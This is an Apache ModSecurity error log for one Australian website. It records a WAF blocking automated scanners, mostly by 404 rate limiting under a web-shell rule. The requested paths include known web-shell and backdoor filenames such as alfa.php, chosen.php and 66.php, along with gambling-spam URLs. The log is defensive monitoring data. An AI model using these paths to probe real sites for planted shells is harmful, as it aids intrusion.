[Sat Apr 11 22:27:29.239033 2026] [:error] [pid 52608:tid 52634] [client 147.135.213.107:45708] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adpaUSY5wH-BLt5QEKhOcgAAARc"]
[Sat Apr 11 22:27:31.701773 2026] [:error] [pid 52608:tid 52626] [client 147.135.213.107:56286] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adpaUyY5wH-BLt5QEKhOhQAAAQ8"]
[Sat Apr 11 23:04:25.062059 2026] [:error] [pid 42219:tid 42223] [client 217.182.195.176:50512] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adpi-Q-4IkVbTQx_J-2dSgAAAIA"]
[Sat Apr 11 23:04:33.454926 2026] [:error] [pid 52608:tid 52619] [client 217.182.195.176:52690] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adpjASY5wH-BLt5QEKhl5QAAAQg"]
[Sat Apr 11 23:04:37.906175 2026] [:error] [pid 42220:tid 42272] [client 217.182.195.176:42476] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adpjBUz5c3Cs6a8B5QuXNgAAANU"]
[Sat Apr 11 23:04:43.070588 2026] [:error] [pid 42220:tid 42251] [client 217.182.195.176:42486] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adpjC0z5c3Cs6a8B5QuXQQAAAMA"]
[Sat Apr 11 23:04:48.445968 2026] [:error] [pid 42313:tid 42321] [client 217.182.195.176:60032] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adpjEF2P8TxdbaN018JWYwAAAAU"]
[Sat Apr 11 23:04:53.153400 2026] [:error] [pid 52608:tid 52616] [client 217.182.195.176:60036] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adpjFSY5wH-BLt5QEKhmDwAAAQU"]
[Sat Apr 11 23:04:57.949169 2026] [:error] [pid 42219:tid 42226] [client 217.182.195.176:46380] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adpjGQ-4IkVbTQx_J-2dngAAAIM"]
[Sun Apr 12 00:47:17.108391 2026] [:error] [pid 44700:tid 44758] [client 170.106.163.84:32794] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adp7FWryPgh_uW4QPClPqwAAAM4"]
[Sun Apr 12 02:05:27.176878 2026] [:error] [pid 44698:tid 44722] [client 209.38.77.153:52002] [client 209.38.77.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adqNZxgoH9UWd-U3D55uuAAAAJM"]
[Sun Apr 12 02:42:08.195471 2026] [:error] [pid 44698:tid 44725] [client 154.192.176.245:56078] [client 154.192.176.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.192.176.245, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adqWABgoH9UWd-U3D56M2wAAAJY"]
[Sun Apr 12 04:56:13.771083 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:29675] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/chosen.php"] [unique_id "adq1bXBlLnDOYuIykkjPBwAAAc4"]
[Sun Apr 12 04:56:19.268669 2026] [:error] [pid 25327:tid 25340] [client 20.220.11.224:29679] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/chosen.php"] [unique_id "adq1cy6h2tZEVJo9JFI6dwAAAAQ"]
[Sun Apr 12 04:56:23.598294 2026] [:error] [pid 26599:tid 26620] [client 20.220.11.224:29644] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/chosen.php"] [unique_id "adq1d3G89LXoQbk_rwAtbAAAAVI"]
[Sun Apr 12 04:56:27.570773 2026] [:error] [pid 25328:tid 25377] [client 20.220.11.224:29596] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/chosen.php"] [unique_id "adq1e8xUaQZxT-e0YsDH5QAAAEo"]
[Sun Apr 12 04:56:28.332754 2026] [:error] [pid 26600:tid 26651] [client 20.220.11.224:29650] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen/chosen.php"] [unique_id "adq1fO1YwAZiXhQKLYppFwAAAZY"]
[Sun Apr 12 04:56:31.731814 2026] [:error] [pid 26600:tid 26632] [client 20.220.11.224:29639] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen/chosen.php"] [unique_id "adq1f-1YwAZiXhQKLYppHAAAAYM"]
[Sun Apr 12 04:56:34.177559 2026] [:error] [pid 25437:tid 25449] [client 20.220.11.224:29661] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen/chosen.php"] [unique_id "adq1gnf97wYZje1ep_NFgQAAAMo"]
[Sun Apr 12 04:56:36.160420 2026] [:error] [pid 26599:tid 26625] [client 20.220.11.224:29580] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen/chosen.php"] [unique_id "adq1hHG89LXoQbk_rwAtgwAAAVc"]
[Sun Apr 12 04:56:36.921613 2026] [:error] [pid 26599:tid 26602] [client 20.220.11.224:29682] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/chosen.php"] [unique_id "adq1hHG89LXoQbk_rwAthgAAAUA"]
[Sun Apr 12 04:56:39.040406 2026] [:error] [pid 26599:tid 26622] [client 20.220.11.224:29649] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/chosen.php"] [unique_id "adq1h3G89LXoQbk_rwAtigAAAVQ"]
[Sun Apr 12 04:56:39.748647 2026] [:error] [pid 26567:tid 26581] [client 20.220.11.224:29666] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/chosen.php"] [unique_id "adq1h3hRpg6ptWFyFx3txAAAAQw"]
[Sun Apr 12 04:56:40.421366 2026] [:error] [pid 26567:tid 26579] [client 20.220.11.224:29676] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/chosen.php"] [unique_id "adq1iHhRpg6ptWFyFx3tygAAAQo"]
[Sun Apr 12 04:56:41.208250 2026] [:error] [pid 25328:tid 25366] [client 20.220.11.224:29652] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "adq1icxUaQZxT-e0YsDH8QAAAEI"]
[Sun Apr 12 04:56:42.715359 2026] [:error] [pid 25328:tid 25385] [client 20.220.11.224:29662] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "adq1isxUaQZxT-e0YsDH-AAAAE4"]
[Sun Apr 12 04:56:43.969159 2026] [:error] [pid 25328:tid 25391] [client 20.220.11.224:29665] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "adq1i8xUaQZxT-e0YsDIAgAAAFE"]
[Sun Apr 12 04:56:45.049982 2026] [:error] [pid 26600:tid 26636] [client 20.220.11.224:29657] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "adq1je1YwAZiXhQKLYppLwAAAYc"]
[Sun Apr 12 04:56:46.160939 2026] [:error] [pid 26567:tid 26583] [client 20.220.11.224:29638] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adq1jnhRpg6ptWFyFx3t4AAAAQ4"]
[Sun Apr 12 04:56:47.219436 2026] [:error] [pid 26567:tid 26587] [client 20.220.11.224:29573] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adq1j3hRpg6ptWFyFx3t4wAAARI"]
[Sun Apr 12 04:56:48.164550 2026] [:error] [pid 26599:tid 26606] [client 20.220.11.224:29669] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adq1kHG89LXoQbk_rwAtkgAAAUQ"]
[Sun Apr 12 04:56:51.263866 2026] [:error] [pid 25327:tid 25350] [client 20.220.11.224:29646] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adq1ky6h2tZEVJo9JFI6gwAAAA4"]
[Sun Apr 12 04:56:53.590811 2026] [:error] [pid 26599:tid 26618] [client 20.220.11.224:29578] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adq1lXG89LXoQbk_rwAtlQAAAVA"]
[Sun Apr 12 04:56:56.589848 2026] [:error] [pid 25327:tid 25349] [client 20.220.11.224:29633] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adq1mC6h2tZEVJo9JFI6hAAAAA0"]
[Sun Apr 12 04:56:59.858995 2026] [:error] [pid 25327:tid 25337] [client 20.220.11.224:29645] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adq1my6h2tZEVJo9JFI6jAAAAAE"]
[Sun Apr 12 04:57:00.828224 2026] [:error] [pid 25329:tid 25397] [client 20.220.11.224:29636] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adq1nGdcIYsS8Iyaj10mAgAAAIw"]
[Sun Apr 12 04:57:17.051250 2026] [:error] [pid 25437:tid 25440] [client 20.220.11.224:29677] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config-backup.php"] [unique_id "adq1rXf97wYZje1ep_NGfgAAAME"]
[Sun Apr 12 04:57:25.194327 2026] [:error] [pid 26567:tid 26579] [client 20.220.11.224:29673] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config-backup.php"] [unique_id "adq1tXhRpg6ptWFyFx3uHQAAAQo"]
[Sun Apr 12 04:57:27.895763 2026] [:error] [pid 25327:tid 25358] [client 20.220.11.224:29693] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config-backup.php"] [unique_id "adq1ty6h2tZEVJo9JFI6nAAAABY"]
[Sun Apr 12 04:57:31.538384 2026] [:error] [pid 26600:tid 26648] [client 20.220.11.224:29655] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config-backup.php"] [unique_id "adq1u-1YwAZiXhQKLYppTwAAAZM"]
[Sun Apr 12 04:57:37.134595 2026] [:error] [pid 25328:tid 25403] [client 20.220.11.224:29671] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "adq1wcxUaQZxT-e0YsDIhAAAAFY"]
[Sun Apr 12 04:57:44.772764 2026] [:error] [pid 60280:tid 60299] [client 20.220.11.224:29508] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "adq1yHBlLnDOYuIykkjPzAAAAdE"]
[Sun Apr 12 04:57:46.233848 2026] [:error] [pid 26599:tid 26611] [client 20.220.11.224:29654] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "adq1ynG89LXoQbk_rwAtzwAAAUk"]
[Sun Apr 12 04:57:49.965231 2026] [:error] [pid 26599:tid 26610] [client 20.220.11.224:29674] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adq1zXG89LXoQbk_rwAt1QAAAUg"]
[Sun Apr 12 04:57:50.865063 2026] [:error] [pid 25437:tid 25460] [client 20.220.11.224:29695] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adq1znf97wYZje1ep_NHAAAAANU"]
[Sun Apr 12 04:57:51.867553 2026] [:error] [pid 26567:tid 26589] [client 20.220.11.224:29579] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adq1z3hRpg6ptWFyFx3uUgAAARQ"]
[Sun Apr 12 04:57:55.011139 2026] [:error] [pid 25437:tid 25453] [client 20.220.11.224:29581] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "adq103f97wYZje1ep_NHDgAAAM4"]
[Sun Apr 12 04:57:56.759850 2026] [:error] [pid 26567:tid 26570] [client 20.220.11.224:29572] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adq11HhRpg6ptWFyFx3uVwAAAQE"]
[Sun Apr 12 04:58:00.028942 2026] [:error] [pid 26567:tid 26588] [client 20.220.11.224:29620] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adq12HhRpg6ptWFyFx3uXwAAARM"]
[Sun Apr 12 04:58:01.123283 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:29591] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adq12XBlLnDOYuIykkjP2AAAAc4"]
[Sun Apr 12 04:58:02.679826 2026] [:error] [pid 60280:tid 60287] [client 20.220.11.224:29589] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "adq12nBlLnDOYuIykkjP3wAAAcU"]
[Sun Apr 12 04:58:06.487660 2026] [:error] [pid 26599:tid 26619] [client 20.220.11.224:29587] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adq13nG89LXoQbk_rwAt9wAAAVE"]
[Sun Apr 12 04:58:08.595693 2026] [:error] [pid 26599:tid 26607] [client 20.220.11.224:29570] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adq14HG89LXoQbk_rwAt-QAAAUU"]
[Sun Apr 12 04:58:23.429925 2026] [:error] [pid 25437:tid 25446] [client 20.220.11.224:29684] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/privacy.php"] [unique_id "adq173f97wYZje1ep_NHhQAAAMc"]
[Sun Apr 12 04:58:28.843012 2026] [:error] [pid 26599:tid 26608] [client 20.220.11.224:29690] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/privacy.php"] [unique_id "adq19HG89LXoQbk_rwAuBQAAAUY"]
